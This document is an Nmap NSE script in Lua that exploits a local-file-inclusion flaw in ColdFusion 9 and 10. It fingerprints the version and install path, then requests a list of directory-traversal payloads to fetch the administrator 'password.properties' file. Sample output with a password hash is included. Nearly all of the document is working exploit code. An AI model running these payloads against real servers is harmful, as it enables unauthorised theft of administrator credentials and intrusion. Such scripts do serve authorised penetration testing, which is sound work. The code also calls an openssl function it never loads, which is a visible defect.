description = [[ Attempts to retrieve version, absolute path of administration panel and the file 'password.properties' from vulnerable installations of ColdFusion 9 and 10. This was based on the exploit 'ColdSub-Zero.pyFusion v2'. ]] --- -- @usage nmap -sV --script http-coldfusion-subzero -- @usage nmap -p80 --script http-coldfusion-subzero --script-args basepath=/cf/ -- -- @output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack -- | http-coldfusion-subzero: -- | absolute_path: C:\inetpub\wwwroot\CFIDE\adminapi\customtags -- | version: 9 -- | password_properties: #Fri Mar 02 17:03:01 CST 2012 -- | rdspassword= -- | password=AA251FD567358F16B7DE3F3B22DE8193A7517CD0 -- |_encrypted=true -- -- @xmloutput -- -- @args http-coldfusion-subzero.basepath Base path. Default: /. -- --- author = "Paulino Calderon " license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"exploit"} local http = require "http" local shortport = require "shortport" local stdnse = require "stdnse" local url = require "url" portrule = shortport.http local PATH_PAYLOAD = "CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/analyzer/index.cfm&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" local IMG_PAYLOAD = "CFIDE/administrator/images/loginbackground.jpg" local LFI_PAYLOAD_FRAG_1 = "CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/mail/download.cfm&filename=" local LFI_PAYLOAD_FRAG_2 = "&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" local CREDENTIALS_PAYLOADS = { "../../lib/password.properties", "..\\..\\lib\\password.properties", "..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion10\\lib\\password.properties", "..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion10\\cfusion\\lib\\password.properties", "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\JRun4\\servers\\cfusion\\cfusion-ear\\cfusion-war\\WEB-INF\\cfusion\\lib\\password.properties", "..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion9\\lib\\password.properties", "..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion9\\cfusion\\lib\\password.properties", "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties", "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties", "../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties" } --- -- Extracts absolute path of installation by reading the ANALIZER_DIRECTORY value from the header 'set-cookie' -- local function get_installation_path(host, port, basepath) local req = http.get(host, port, basepath..PATH_PAYLOAD) if req.header['set-cookie'] then stdnse.print_debug(1, "%s:Header 'set-cookie' detected in response.", SCRIPT_NAME) local _, _, path = string.find(req.header['set-cookie'], "path=/, ANALYZER_DIRECTORY=(.-);path=/") if path then stdnse.print_debug(1, "%s: Extracted path:%s", SCRIPT_NAME, path) return path end end return nil end --- -- Extracts version by comparing an image with known md5 checksums -- local function get_version(host, port, basepath) local version = -1 local img_req = http.get(host, port, basepath..IMG_PAYLOAD) if img_req.status == 200 then local md5chk = stdnse.tohex(openssl.md5(img_req.body)) if md5chk == "a4c81b7a6289b2fc9b36848fa0cae83c" then stdnse.print_debug(1, "%s:CF version 10 detected.", SCRIPT_NAME) version = 10 elseif md5chk == "596b3fc4f1a0b818979db1cf94a82220" then stdnse.print_debug(1, "%s:CF version 9 detected.", SCRIPT_NAME) version = 9 elseif md5chk == "" then stdnse.print_debug(1, "%s:CF version 8 detected.", SCRIPT_NAME) version = 8 else stdnse.print_debug(1, "%s:Could not determine version.", SCRIPT_NAME) version = nil end end return version end --- -- Sends malicious payloads to exploit a LFI vulnerability and extract the credentials local function exploit(host, port, basepath) for i, vector in ipairs(CREDENTIALS_PAYLOADS) do local req = http.get(host, port, basepath..LFI_PAYLOAD_FRAG_1..vector..LFI_PAYLOAD_FRAG_2) if req.body and string.find(req.body, "encrypted=true") then stdnse.print_debug(1, "%s: String pattern found. Exploitation worked with vector '%s'.", SCRIPT_NAME, vector) return true, req.body end end end action = function(host, port) local output_tab = stdnse.output_table() local basepath = stdnse.get_script_args(SCRIPT_NAME..".basepath") or "/" local installation_path = get_installation_path(host, port, basepath) local version_num = get_version(host, port, basepath) local status, file = exploit(host, port, basepath) if status then if version_num then output_tab.version = version_num end if installation_path then output_tab.installation_path = url.unescape(installation_path) end output_tab.password_properties = file else return nil end return output_tab end